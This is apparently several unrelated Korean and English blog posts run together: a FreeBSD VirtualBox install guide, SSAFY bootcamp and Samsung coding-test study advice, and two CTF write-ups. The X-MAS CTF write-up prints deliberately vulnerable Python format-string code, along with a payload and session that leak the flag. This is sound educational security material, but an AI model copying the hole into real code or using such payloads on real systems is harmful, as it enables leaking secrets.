다양하게 있는데, Windows 환경에서 돌릴 것이므로 본인은 Windows Host를 눌러서 다운받았다.
진리의 Next / Next / Next를 해준다.
뭔가 시뻘건 글씨가 나오면서 Warning 경고를 주는데, 이 내용인 즉슨 가상 네트워크 인터페이스를 추가할것이기 때문에 네트워크가 잠시 끊길 수 있다는 것이다. 무언가 연결이 끊기면 안되는 것들을 하고 있다면 그거를 끝내고 yes를 눌러주면 되겠다.
Next / Yes를 계속 눌러서 쭉 설치하면 된다.
설치가 완료되었고, Finish를 눌러준다.
freeBSD installer image(iso) 다운로드
공식 사이트로 가서 freebsd를 다운받으면 된다. 구글에 치면 바로 나온다.
중간에 커다랗게 있는 Download FreeBSD를 눌러준다.
아래로 내리면 여러개가 있는데, Installer Images중에서 원하는 아키텍쳐를 다운받는다. 일반적인 64비트 PC(x86-64)등은 amd64를 받으면 되고 32비트 피씨(x86-32)는 i386을 받으면 된다.
powerpc는 공유기같은 임베디드 장비등에 쓰이는 아키텍쳐인데, 그쪽용을 받으려면 해당 아키텍쳐를 누르면 된다. 본인은 x86 32bit가 필요해서 i386을 눌렀다.
여러가지가 나오는데, disc1.iso를 눌러서 받았다. disc1.iso.xz는 xz로 압축된 녀석인데, 데이터양을 줄여야 한다면 압축된 녀석을 받아서 압축 풀어주면 된다. 본인은 그냥 압축안된걸 받았다.
vbox에 freeBSD 설치
귀여운 Tux 펭귄이 우릴 맞이해준다. 우측 상단의 새로만들기를 눌러준다.
이름에 freebsd32bit라고 치면, 알아서 종류와 버전을 골라준다. 메모리크기는 host 메모리 크기에 따라서 적절히 골라주는데, 본인 피씨는 호스트가 16GB 메모리를 가져서 대충 4기가정도 주었다. 그리고 만들기를 누른다.
그리고 하드디스크 용량을 고르게 되어있는데, 적당히 8GB정도 주었다.
이제 설정을 들어간다.
가장 좌측에 저장소를 누르고, 저장장치 중 두번째 CD케이스인 비어 있음을 누르고 우측에 CD모양을 눌러서 Choose a disk file을 누른 뒤, 아까 다운받은 freebsd iso 파일을 선택한다. 본인의 경우 아까 선택한 적이 있어서 Choose a disk file 하단에 해당 iso파일이 자동완성으로 떠있다.
요렇게 씨디가 들어가면 확인을 눌러주고 설정창을 끈다.
이제 저 가상머신을 켜 보자
저런게 뜨면 시작을 누르면 된다.
1번을 눌러준다. 또는 엔터를 누르면 된다.
엔터를 눌러서 Install을 해주면 된다. 이제는 왠만해선 엔터만 쭉쭉 누르면 된다
키맵을 고르라는데, 뭐 중국어 자판, 벨기에 자판 이런거 쓸거 아니고 미국식 자판 쓸거면 그냥 엔터 누르면 된다.
호스트 네임을 쓰라고 하는데, 그냥 본인 컴퓨터 이름같은거다. 홍길동의 컴퓨터 이런것 마냥. 내부망에서 해당 컴퓨터를 식별하는 방법인데 vm이고 하니 대충 아무거나 써도 된다. 나는 그냥 비우고 엔터 눌렀다.
추가 기능들 관련된건데, 필요한 것들 있으면 방향키랑 스페이스 키로 enable/disable시킨 뒤 엔터 쳐서 넘어가면 된다.
freebsd 커널 디버깅을 하겠다면, kernel-dbg가 반드시 ok 되어야 하겠다.
파티션 어떻게 나눌거냐는데, 윈도로 치면 C/D드라이브 나눠서 쓰고 이런걸 말한다. 그냥 기본값대로 간다.
운영체제를 모든 디스크에 다 설치할건지, 파티션 나눠서 할건지 물어보는건데 걍 전체로 한다.
파티션 나누는것도 방식이 다양한데, 도스방식으로 나누는게 기본값이니 그냥 이걸로 간다.
파티션 방식 맞냐고 물어보는데 그냥 ㄱㄱ한다. 귀찮다.
기존 데이터 삭제된다고 하는데, 뭐 처음 설치하는거라 삭제될것도없다. 걍 ㄱㄱ
쭉쭉들어간다 기다리면된다. 추가기능들을 모조리 체크해서 그런지 꽤나 오래 걸린다.
루트계정 패스워드 설정하시란다. 아마 두번 치라고 하겠지.
네트워크 기능 활성화 할거냐는데, 당연한 소리다.
IPv4 할거냐하는데, 당연 ok
자동 IP할당도 할거냐는데 이것도 당근 OK
IPv6쓸거냐는데, 필요없다. 걍 No 근데 Yes해도된다.
DNS서버 자동으로 어디서 갖고왔다. 호스트꺼를 따서 하는듯. 그냥 OK하면 된다.
지역 설정하는게 있는데 Asia로 가자
국가설정 있는데 22번 머한민국으로 하자.
KST시간 따르냐는데, KST는 Korea standard time의 약자로 한국 표준시각이다. 맞다. ㄱㄱ
날짜를고르고, 시간도 고르라는데 대충설정하자~
기본 서비스 설정인데, 기본값으로 간다 후 너무많다
시스템에서 보안관련된 하드닝 기법들 쓸건지 물어보는데, 서비스용도아니고 테스트용인데 걍 기본값으로 None으로 간다.
유저 추가할거냐는데, guest계정 하나 만들어보자.
guest계정을 만들어보았다. 맨 위에 name: guest가 짤리긴했는데, 대충 요러코롬 만들면 된다.
다만 체크해야하는 부분은, login group을 wheel로 해야 su root가 가능하고, 쉘은 구대기 본쉘말고 csh을 쓰면 좋다.
다 끝내고 reboot을 눌러준다. 그리고 그냥 들어가면 다시 설치 화면이 뜨게 되는데, 일단 머신을 꺼야한다.
두번째 shell로 들어간 뒤, poweroff를 쳐준다.
그리고 설정으로 들어가서 iso 가상 CD 이미지를 꺼내기 한 뒤 다시 부팅해보자.
그러면 이제 될 것이다.
다시 1번 boot multi user를 눌러보자.
이제는 install그게 안뜨고 login이 뜬다. guest나 root계정으로 로그인해보자.
루트로 로그인 되었다.
이제 gcc를 써볼려고하니 없더라. pkg install -y gcc gdb 로 설치해준다.
그리고 SSAFY 모집시기가 다가올 때 쯤에 항상 SSAFY 지원자들이 모인 카카오톡 오픈 채팅방이 있는데, 한번 검색해서 들어가 보면 가끔 꿀 정보들이 들어올 때가 있다.(익명의 수료생의 난입이라던지..) 그러니 꼭 찾아서 들어가보도록 하자.
SSAFY에 꼭 붙고싶은데 자신이 없어요!
나도 오다가면서 광고로 봤던 것 같은데 SSAFY에 합격하기 위한 학원도 존재한다고 한다. 취업 학원인 SSAFY에 선발되기 위한 학원이 따로 있다... 이제 그 학원을 붙기 위한 학원도 생기는 것이 아닌가 싶기도 하다.
SSAFY에서 많은 인원을 뽑긴 하지만, 그 SSAFY 조차도 경쟁률이 치열하기 때문에 이러한 현상이 생기는 것이지 않을까 싶다.
SSAFY를 수료하면 취직이 보장되나요?
그런 건 없다고 한다. 하지만 관리의 삼성 답게, 열심히 하지 않을 수 없는 환경들을 만들어 준다고 한다.
낙오되지 않으려면 빡세게 구를 수 밖에 없고, 그러다 보면 과거의 자신 보다는 훨씬 실력이 늘어 있게 된다고 한다.
해병대 병영캠프마냥 SW빡개발 캠프를 원한다면 지원해보는 것이 좋을 것 같다.
SW 취업을 위한 여러가지 학원들이 있는데, 이러한 학원들 수강 후기들을 보면 수업은 듣되 강제성이 없어서 스스로 공부를 잘 안하다가, 비싼 수강료를 내고 배웠는데 왜 나는 실력이 늘지 않고 이해되는게 별로 없느냐 하는 식의 후기들이 꽤나 많다.
하지만 SSAFY는 돈을 받으면서 듣는 교육이기도 하고 그에 따른 외부적 동기부여들도 주기 때문에, 학원 가서 돈 쓰고 사기당한 것 같은 느낌은 전혀 받을 일은 없을 것이다.
SW를 단기간에 배우려고 하니까 힘들구나 라는 반응과, 그래도 많이 늘어서 많은 도움이 된 것 같다 라는 반응들이 나올 듯 하다.
추천할 만 한 프로그램인가요?
본인이SW 개발자쪽으로 취직을 하려고 하고, 취직이 잘 안되는 상태(SW외 전공자나 SW전공자지만 실력이 부족한 상태)라면 무조건 추천한다. 이미 본인이 실력이 뛰어나서 이름있는 IT회사에 들어가거나, 본인이 만족할만한 기업에 들어갈 실력이 있다고 생각한다면 구태여 할 필요는 없다.
주변에 SSAFY를 했던 지인들의 이야기를 들어보면, 공부를 하려는 열정이 높은 사람들이 모여있어서 그런지, 매우 동기부여가 잘 되는 분위기라고 한다.
그리고 비전공자나 컴퓨터공학 전공자이지만 실력이 부족한 친구들은 그 부족한 실력 만큼 엄청난 노력을 쏟으면서 빡세게 공부하고 스터디를 한다고 한다. 빡세게 굴리지만 또 빡세게 구를 수 있는 환경을 만들어 주고, 그 만큼 아주 빠르게 실력이 늘어서 도움이 꽤나 된다고 한다.
컴공 Foundation 및 알고리즘 & 코딩 수업 및 다양한 주제의 프로젝트를 진행하며 교육시켜준다고 한다.
커리큘럼도 실무에 필요한 부분과 기본기들을 두루 가르쳐주므로 범용적이면서 괜찮은 것 같다.
그리고 혼자서 고독한 취준을 하는 것 보다는, SSAFY에서 같이 취준을 할 동료들을 많이 구하면 정신적으로도 많이 의지가 되고 좋은 기회가 될 것 같다.
고로, SW개발자로서 취직을 준비하고 있고, 공부나 프로젝트 등을 하면서 1~2주 취준이 아닌 조금 더 장기적인 관점에서(6개월 이상) 취준을 빡시게 할 계획이 있다면, 혼자 취준하는 것 보다 SSAFY에 지원해서 하는게 100배 이상 좋다. (같이 공부할 동료도 얻고, 지원금도 받고, 수업도 듣고, 컨설팅도 받는다.)
다른 비슷한 프로그램들이 있나요?
우아한 테크코스
배달의 민족으로 유명한 우아한 형제들에서 주최하는 우아한 테크코스라는 과정이 있다. 다만 뽑는 인원수가 훨씬 소규모이며, IT회사에 좀 더 특화되고 집중적인 커리큘럼을 갖고 있다고 한다. 금전적인 지원은 ssafy보다 덜 한 것 같은것이 조금 아쉽다.
네이버 커넥트 재단 - 부스트캠프
네이버 커넥트 재단에서 운영하는 교육 프로그램이다. 1기를 하고 나서 매년 2기, 3기 이런식으로 이어질 줄 알았는데, 했다 안했다 한다. 아마 첫 기수 운영하고 뭔가 결과가 마음에 들지 않았다던지 그래서 그런 거일지도 모르겠다.
네이버쪽에서 운영하는 프로그램이다 보니, 일단 선발부터 쉽지는 않고, 많은 인원을 뽑지도 않는다.
그리고 1기때와 지금 기수때와 방향이 이미 꽤 다르고 기수마다 계속 바뀌므로, 공고가 나오면 그때 그때 달라진 정보 등을 확인해보는게 좋을 듯하다.
위 사이트 자체가 삼성전자에서 SW역량이 뛰어난 사람들을 뽑기 위해 만든, 사이트이며 공부를 하라고 제공해주는 사이트입니다.
그리고 백준에서 SW역량테스트 기출문제라고 검색을 하시면 복원 문제들이 많이 나타납니다.
(시험을 칠 때에는 문제를 유출하지 말라고 아마 경고문이 있을 것인데, 알게 모르게 많이 유출이 되었죠 ㅠ)
그래서 기출문제를 보고 공부를 하라~ 라는 말을 하실줄 아셨겠지만, 저는 조금 다릅니다.
잠시 비유를 들어 보자면, 저희는 초/중/고등학교 교육을 받고 수능을 보게 됩니다.
그렇다고 초등학생이 처음 수능 기출문제를 풀어보면서 공부를 하지는 않지요. 고등학생이라면 기출문제를 열심히 돌릴때가 맞기는 하지만요.
이미 알고리즘 문제를 풀거나 코딩을 예전부터 즐겨 하시거나, 어렸을때 정보올림피아드를 해보셨거나, 코딩대회에서 상을 타시고 하시는 이런 이미 내공이 출중하신 분들은 이미 고등학생이나 대학생 이상의 수준이라서, 기출문제를 심심풀이로 몇개 풀어보시고 시험을 치시면 간단하게 합격 하실 수 있으실 겁니다.
하지만 아마 이 글을 보고 계신 분들은 다양한 실력의 스펙트럼을 가지고 계시겠지만, 방금 언급한 능력자분들일 가능성은 조금 낮다고 생각합니다. (팩트폭행 죄송합니다)
따라서 요점은, 자신의 수준에 맞는 난이도의 공부 자료로 공부를 해야지 의욕을 잃지 않으면서 꾸준히 공부하기에 좋을 것이라고 생각합니다.
저자의 추천 공부 커리큘럼
그래서 제가 추천하는 커리큘럼은 다음과 같습니다. 그리고 이 글에서는 2~3단계에 대하여 공부하는 분들에게 필요한 추천 리소스와 방법들을 제공합니다.
1-1. 프로그래밍 언어에 익숙해지는 단계
- 만약 본인이 이 단계에 해당한다면, 아마 컴퓨터공학과 1학년 학부생이거나, 코딩 공부를 막 시작한 비전공자에 해당할 것입니다. 이 단계에서 공부하는 부분은 안타깝게도 이 글에서는 설명하지 않습니다.
1-2. 기초적인 자료구조와 알고리즘을 배우는 단계
대학교 컴퓨터공학부 2학년쯤에 배우는 자료구조 및 알고리즘 수업에서 배우는 것들을 한번 배워보는 단계에 해당합니다. 기본적인 자료구조로 스택, 큐, 링크드 리스트 등은 기본적으로 알아야 하며, 시간 및 공간 복잡도 개념과 점근적 표기법에 대하여 알아야 합니다. 그리고 그래프 탐색 알고리즘인 DFS, BFS에 대하여 알아야 하고, 완전탐색 및 백트래킹에 대하여 알면 좋습니다.
또한 비트연산자와 컴퓨터에서 정수 및 실수를 어떻게 표현하는지, 등의 개념도 숙지하고 있으면 좋습니다.
라이브러리 - C++ STL(Standard Template Library) 중 vector, queue, sort, priority_queue 등
자료구조 - 우선순위 큐
알고리즘 - 이진 탐색(Binary search)
2-1단계 "초급 난이도에 해당하는 다양한 문제들을 풀어보는 단계" 공부법
우선은 2-1에 해당하는 "초급 난이도에 해당하는 다양한 문제들을 풀어보는 단계"를 진행하시기를 추천드립니다.
"다양한 문제들 + A형 문제와 출제 유형 등이 비슷한 문제들" 등을 풀면서 공부를 하면 됩니다.
출제 유형이 비슷한 문제들만 푸는 것이 아닌, 다른 다양한 문제들도 많이 풀으라고 권장을 드리는 이유는
크게 두가지가 있습니다.
1. 다른곳에서도 통하는 실력
- 다양한 문제를 풀이하면서 쌓은 실력은, 삼성전자 입사를 위한 SW역량테스트/상시테스트 뿐만 아니라 다른 회사를 입사하기 위한 알고리즘 테스트/코딩테스트 및 각종 알고리즘 대회 등에도 도움되는 역량입니다. 물론 원하는 회사에 입사하는 것도 중요하지만, 다른 회사로 가는 가능성도 열어두면 나쁠것은 없겠죠?
-> 특히나 삼성 SW역량테스트의 문제 유형은 고정된 것 같지만, 시간이 지날 수록 유형이 조금씩 변화하는 모습도 보이기도 합니다. 따라서 기출문제 풀이에만 안주하기 보다는 꾸준히 공부하는 것이 더 안정적입니다.
2. SW 문제풀이 실력의 안정성 향상
- 출제 유형에만 맞는 문제를 풀이하다 보면, 해당 유형에 맞지 않는 문제를 보았을 때 맞출 확률이 현저히 떨어지게 됩니다. 또한 풀줄 아는 것 만 풀다 보면 문제를 조금만 꼬아서 내도 크게 당황하게 되지요. 따라서 같은 A형 문제를 보더라도 언제는 맞추고 언제는 틀리는 실력을 갖기 보다는, 항상 문제를 풀어낼 수 있는 실력을 갖추는 것이 중요합니다. 이러한 안정적인 실력을 갖추기 위해서는 다양한 문제들을 풀어보는 것이 도움이 많이 됩니다.
또한 이러한 실력이 쌓이게 되면, 자신감도 같이 붙게 되기 때문에 시험장에서 긴장도 덜 하게 됩니다.
저는 이러한 문제들 중 일단은 "다양한 문제들"에 해당하는 문제 풀을 추천드리려고 합니다.
96년도부터 2018년도까지만 다 풀어도 23개년어치입니다. 매년 3~4문제 정도가 있으니, 대충 100문제가 안되는 수의 문제들입니다.
이제 정올 초등부 문제를 추천하는 이유들을 나열해보겠습니다.
난이도가 단계적이다
각각의 기출들은 3~4문제로 이루어져있는데 문제가 1,2,3,4 번이 있다면 난이도는 1 < 2 < 3 < 4 식이고, 4번 문제 쯤 되면, 솔직히 SW역량테스트보다 난이도가 어려운 경우도 있다고 생각합니다.
처음 풀다보면 1번 문제만 풀 수 있다가, 공부를 함에 따라서 2번도 풀었다 못풀었다 하기도 하고, 나중에는 1~2번 문제는 껌으로 풀고 3번문제를 풀었다 못풀었다 하고 하는 식으로 실력이 느는 것을 체감하기에도 쉽지요.
SW역량 테스트를 쉽게 통과하려면 3번문제까지는 쉽게 풀고 4번 문제는 가끔 풀 수 있는 실력정도는 되어야 한다는 개인적인 의견이 있습니다.
문제 출제 범위가 SW역량 테스트와 비슷하다.
정보올림피아드 초등부의 경우는 간단한 수학문제, 구현(시뮬레이션), 완전탐색(DFS, BFS), 간단한 DP 및 그리디 정도가 출제 범위입니다. 중고등부로 넘어가게되면 세그먼트 트리와 같은 고급 자료구조와, 유량 문제 등이 등장하게 되는데 이는 SW역량 테스트의 출제 범위와 한참 벗어나 있습니다. 절대 안나온다는 뜻이죠.
SW역량 테스트의 경우는 완전탐색과 구현(시뮬레이션) 문제에서 99% 나온다고 보실 수 있습니다. 출제 범위가 참 비슷하지요?
SW역량테스트에 비해 문제 푸는 피로도가 덜하다
A형에서는 조금 체감이 덜 될 수도 있는데, 정보올림피아드 문제들은 SW역량테스트에 비해서 사람을 귀찮게하는 요소들이 좀 덜한 편입니다. 문제 하나하나 풀 때 마다 체력 소모가 크다면, 계속해서 공부해야하는 입장에서 빨리 지치겠지요? 정보올림피아드 문제가 좀 더 가벼운 느낌으로 재미있게 풀면서 코딩 스킬 / 알고리즘 스킬 / 컴퓨팅 사고 능력을 기르기에 적합합니다.
공인된 문제 + 적절한 퀄리티 + 쉽게 구할 수 있는 풀이 + 공개된 TestCase
공인된 문제므로 일정 이상의 퀄리티는 나올것이며, 유명한 문제이니 만큼 풀이도 쉽게 구할 수 있는 것은 자명합니다.
그리고 정올 사이트 (http://www.jungol.co.kr/)에서 기출문제 탭에서 문제를 풀게 되면, 틀린 TestCase도 직접 눈으로 확인해볼 수 있습니다. 백준에서 공개되지 않는 TestCase를 보고 맞왜틀(맞은것 같은데 왜 틀리죠?) 맞왜틀 노래를 부르는 것 보단 훨씬 도움이 될만한 자료가 많다는 것을 알 수 있습니다.
정공법 공부에 가깝다
이 이야기는 무슨 이야기냐 하면, 사실 코딩 / 알고리즘 문제 풀이를 잘 하려면 문제를 많이 풀어봐야 합니다. 기출문제만 푸는 식으로 공부를 하면 조금 꼬아서 내는 구현형 문제가 나왔을때 당황을 하거나 하는 경우가 많죠. 즉 비슷한 난이도의 문제인데, 어떨때는 풀 수 있고 어떨때는 못 푸는 경우, 사실은 그 난이도의 문제를 정ㅋ벅ㅋ 한 것은 아니란 것이죠. 정보올림피아드 초등부 문제를 다 풀어보고 이해하고 내것으로 만들 정도의 공부량이면 SW역량 테스트는 정ㅋ벅ㅋ 가능할 것 이라는 개인적인 사견이 있습니다. 최소 이정도 난이도에 이정도 개수의 문제는 풀어봐야 단단한 실력을 갖는다 라는 생각이지요.
반드시 이해하고 넘어가세요
사실 23개년 문제 4문제씩은 많은 양이 아닙니다. 따라서 못푸는 문제의 풀이를 듣게 되면 열심히 이해해서 본인 것으로 만들어 주세요. 당연한 이야기 같기도 합니다. 코딩을 단순히 많이 한다고 느는 것이 아니라, 중고등학교때 수학문제를 풀듯이 하나하나 제대로 이해하고 넘어가고, 문제를 풀기 위해 사고하는 과정에서 많이 성장하는 것입니다.
2-2단계 "A형과 출제 범위, 난이도 및 유형이 비슷한 문제들을 풀어보는 단계" 공부법
2-1단계에서 초급문제들을 풀어가면서 어느정도 실력을 쌓았다면, 이제는 A형 유형과 더 비슷한 문제들을 풀어줍니다.
많이 풀 수록 좋기도 하겠지만, 2-1단계에서 탄탄한 실력을 쌓았다면 문제 하나하나 풀어보면서 A형 문제 스타일을 음미한다는 느낌으로 풀면서 즐겨주세요.
2-2단계에 해당하는 문제들이 처음에는 조금 낯설수는 있지만 몇개만 풀어봐도 금방 익숙해지고 풀만하다는 느낌이 든다면, 2-1단계에서 공부가 잘 된 것입니다.
관련 문제들을 계속해서 풀어봐도 막막하고, 풀이를 봐도 매우 이해하기 힘들다면 2-1단계로 다시 돌아가시는게 좋습니다.
2-2단계에서 풀만한 추천 문제들은 아래에 있습니다.
A형에서 주로 나오는 문제 유형은 대부분 모든 경우의 수를 다 찾아보는 완전탐색(Exhaustive Search 혹은 Brute-Force Algorithm이라고도 합니다)문제와 하나하나 그대로 따라해보는 시뮬레이션 문제, 그리고 고급 알고리즘 보다는 코딩 구현 능력을 필요로하는 구현형 문제들이 많이 나옵니다.
동적 계획법(Dynamic Programming)문제들은 거의 나오지 않고, 동적 계획법으로 풀 수 있는 문제가 나올 수는 있지만, 그 문제는 완전탐색으로도 풀 수 있는 문제일 것입니다.
Maybe rom file is binary file which can be executed the machine Emu 2.0, pdf file contains the information about the Emu 2.0 Machine.
This problem is actually programming challenge.
There is no special solution, just implementing the Emu2.0 with the pdf file specification and insert the rom data to the emulator.
I tried to implement Emu 2.0 machine, but I did some trial and error with some cases.
1. Instruction size of 2byte, thus hex code "2X XX" denotes, upper 4bit is opcode, the other 12bit is operand. But I misunderstood as 8bit opcode and 8bit operand. T.T
2. Endianness.
My machine is little endian. But the document assumes reader will know that it is big-endian.
I/O instruction which is mandatory to print the flag, is denoted as 13 37 itself when I check the rom binary with "xxd" command, that's why I can certain this rom is aligned as big-endian.
Then, I should program the Emu 2.0 fit to the big-endian
3. Instruction memory and data memory is combined.
I implemented both as separated ones, but something goes wrong when I executed the semi-final version Emu2.0, I re-inspect the document.
In the memory part, it inform us that memory is unique, which can be used as instruction memory and also as data memory.
"including storing the instructions it needs to execute and the data it needs to process."
There is no segmentation!
4. Undefined Instruction
There is a sentence about the undefined instruction handling.
Conclusion => You should read document carefully. There is all you need!
Emulator source code is attached below.
한글 풀이
Emulator 카테고리에 있는 문제이다. 링크가 제공된 구글 드라이브로 이동해 보니, rom이라는 파일과 docs pdf 파일이 있다.
rom 파일은 아마 에뮬레이터 스펙대로 동작하는 바이너리 파일일 것이고, pdf파일에는 에뮬레이터 작성에 필요한 정보들이 들어있을 것이다.
사실상 코딩문제에 가깝다고 볼 수 있다.
문제 풀이법은 특별한 내용은 없고, 단지 pdf에 있는 스펙대로 에뮬레이터를 작성해서 rom을 넣어버리면 된다.
직접 구현하면서 문서를 제대로 안읽어서, 혹은 이해를 제대로 안해서 몇번의 삽질을 했는데 대충 다음과 같은 부분에서 삽질을 좀 했다.
1. instruction이 2바이트인데, Hex Code가 2X XX 와같은 방식인 경우, 최상단 4bit가 Instruction opcode을 나타내고, 나머지 12bit가 operand를 나타낸다. 근데, 8bit / 8bit이 opcode / operand인줄 알고 다시 짯다.
2. endianness 때문에 햇갈렸었다. 근데 xxd 커맨드로 롬을 확인해보니, I/O때문에 필수적인 instruction인 13 37라는 Hex Code가 그대로 나오는 것으로 보이서, Hex code가 xxd 커맨드로 보이는 것 기준이라는 것을 알게 되었다. 따라서 little endian인 내 머신에서는 위치를 맞추어 주어야 했다.
3. Instruction Memory와 Data Memory가 따로 분리되어 있지 않았다. 맨처음에 분리해서 구현했다가, 합쳐줘야지 한다는 것을 2.2 Memory 파트를 보고 알았다.
including storing the instructions it needs to execute and the data it needs to process.
같은 메모리에 적재되어야 했다.
4. Undefined instruction을 어떻게 처리하느냐에 대한 내용을 구현안해서 거의 다 짜놓고도 삽질을 좀 했다.
You can find the menu below when connect to the problem server with nc.
If you choose menu No.3, the server reply the source code.
import os, sys
from secret import flag
items = []
def menu():
print "SANTA's Decoration shop yay!"
print "1. Add new decoration to the shopping list"
print "2. View your shopping list"
print "3. Ask Santa for a suggestion"
sys.stdout.write ("Your choice: ")
sys.stdout.flush ()
return sys.stdin.readline ()
class Decoration(object):
def __init__(self, type, quantity):
self.quantity = quantity
self.type = type
def print_decoration(self):
print ('{0.quantity} x ... '+ self.type).format(self)
def leak_source_code():
print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"
with open(__file__, 'r') as f:
print f.read()
def add_item():
sys.stdout.write ("What item do you like to buy? ")
sys.stdout.flush ()
type = sys.stdin.readline ().strip ()
sys.stdout.write ("How many of those? ")
sys.stdout.flush ()
quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this
items.append(Decoration(type, quantity))
print 'Thank you, your items will be added'
def show_items():
for dec in items:
dec.print_decoration()
print (""" ___
/` `'.
/ _..---;
| /__..._/ .--.-.
|.' e e | ___\\_|/____
(_)'--.o.--| | | |
.-( `-' = `-|____| |____|
/ ( |____ ____|
| ( |_ | | __|
| '-.--';/'/__ | | ( `|
| '. \\ )"";--`\\ /
\\ ; |--' `;.-'
|`-.__ ..-'--'`;..--'`
""")
while True:
choice = menu().strip ()
if(choice == '1'):
add_item()
elif(choice == '2'):
show_items()
elif(choice == '3'):
leak_source_code()
else:
print "Invalid choice"
With menu No.1 you can add some items to the entry, you can print them out with menu No. 2.
At first, I paid attention to code part with comment "# Too lazy to sanitize this", because I thought that is a hint from the problem setter. But there wasn't nothing special there.
Near the function "print_decoration", there is a code line uses python format function. Although I didn't know about python format string grammer precisely, but there is no consistency between "quantity value" and "type value".
Because "quantity value" is injected into the string with format string, but "type value" is inserted into the string with string concatenation. It seems very suspicious.
Finally, I found there is format string bug on that line.
print ('{0.quantity} x ... '+ self.type).format(self)
0 inside curly brace means the 0-indexed parameter of format function. In this case, 0 means "self" parameter which is Decoration object.
Thus, 0.quantity means "quantity" property of self object.
self.type value is inserted to the string with string concatenation, we can insert another format string.
The our custom format string will be evaluated with format function.
If you insert {0.__init__.__globals__[flag]} to type value, you can find the value of flag which is global variable.
___
/` `'.
/ _..---;
| /__..._/ .--.-.
|.' e e | ___\_|/____
(_)'--.o.--| | | |
.-( `-' = `-|____| |____|
/ ( |____ ____|
| ( |_ | | __|
| '-.--';/'/__ | | ( `|
| '. \ )"";--`\ /
\ ; |--' `;.-'
|`-.__ ..-'--'`;..--'`
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:
Gotcha!
We've got flag "X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}"
import os, sys
from secret import flag
items = []
def menu():
print "SANTA's Decoration shop yay!"
print "1. Add new decoration to the shopping list"
print "2. View your shopping list"
print "3. Ask Santa for a suggestion"
sys.stdout.write ("Your choice: ")
sys.stdout.flush ()
return sys.stdin.readline ()
class Decoration(object):
def __init__(self, type, quantity):
self.quantity = quantity
self.type = type
def print_decoration(self):
print ('{0.quantity} x ... '+ self.type).format(self)
def leak_source_code():
print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"
with open(__file__, 'r') as f:
print f.read()
def add_item():
sys.stdout.write ("What item do you like to buy? ")
sys.stdout.flush ()
type = sys.stdin.readline ().strip ()
sys.stdout.write ("How many of those? ")
sys.stdout.flush ()
quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this
items.append(Decoration(type, quantity))
print 'Thank you, your items will be added'
def show_items():
for dec in items:
dec.print_decoration()
print (""" ___
/` `'.
/ _..---;
| /__..._/ .--.-.
|.' e e | ___\\_|/____
(_)'--.o.--| | | |
.-( `-' = `-|____| |____|
/ ( |____ ____|
| ( |_ | | __|
| '-.--';/'/__ | | ( `|
| '. \\ )"";--`\\ /
\\ ; |--' `;.-'
|`-.__ ..-'--'`;..--'`
""")
while True:
choice = menu().strip ()
if(choice == '1'):
add_item()
elif(choice == '2'):
show_items()
elif(choice == '3'):
leak_source_code()
else:
print "Invalid choice"
1번 메뉴를 이용해서 아이템들을 추가할 수 있고, 2번 메뉴를 통해서 추가된 아이템들을 출력해볼 수 있다.
소스코드중에서 주석 처리된 부분 # Too lazy to sanitize this라는 부분이 힌트인줄 알고 계속 보았는데, 이 부분은 별다른 내용은 없었다.
2번 메뉴중 print_decoration부분에서 python format string에 format 함수를 이용해서 입력하는 부분이 있는데, 해당 문법을 몰라서 감을 못잡다가, 해당 부분에 포맷 스트링 버그가 있는 것을 알 수 있었다.
print ('{0.quantity} x ... '+ self.type).format(self)
위 부분에서 self.type을 붙여서 format 스트링을 만든 뒤, format함수를 통해서 evaluation이 되게 되는데, {0.quantity}의 의미는 format 함수의 0번째 인자의 quantity 프로퍼티를 뜻한다.
self는 Decoration 객체를 뜻하므로, self.type에 {0.__init__.__globals__[flag]}라는 값을 입력시킨 뒤 출력하게 만든다면 전역변수 flag에 있는 값을 출력시킬 수 있게 된다.
___
/` `'.
/ _..---;
| /__..._/ .--.-.
|.' e e | ___\_|/____
(_)'--.o.--| | | |
.-( `-' = `-|____| |____|
/ ( |____ ____|
| ( |_ | | __|
| '-.--';/'/__ | | ( `|
| '. \ )"";--`\ /
\ ; |--' `;.-'
|`-.__ ..-'--'`;..--'`
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:
flag는 X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5} 이다.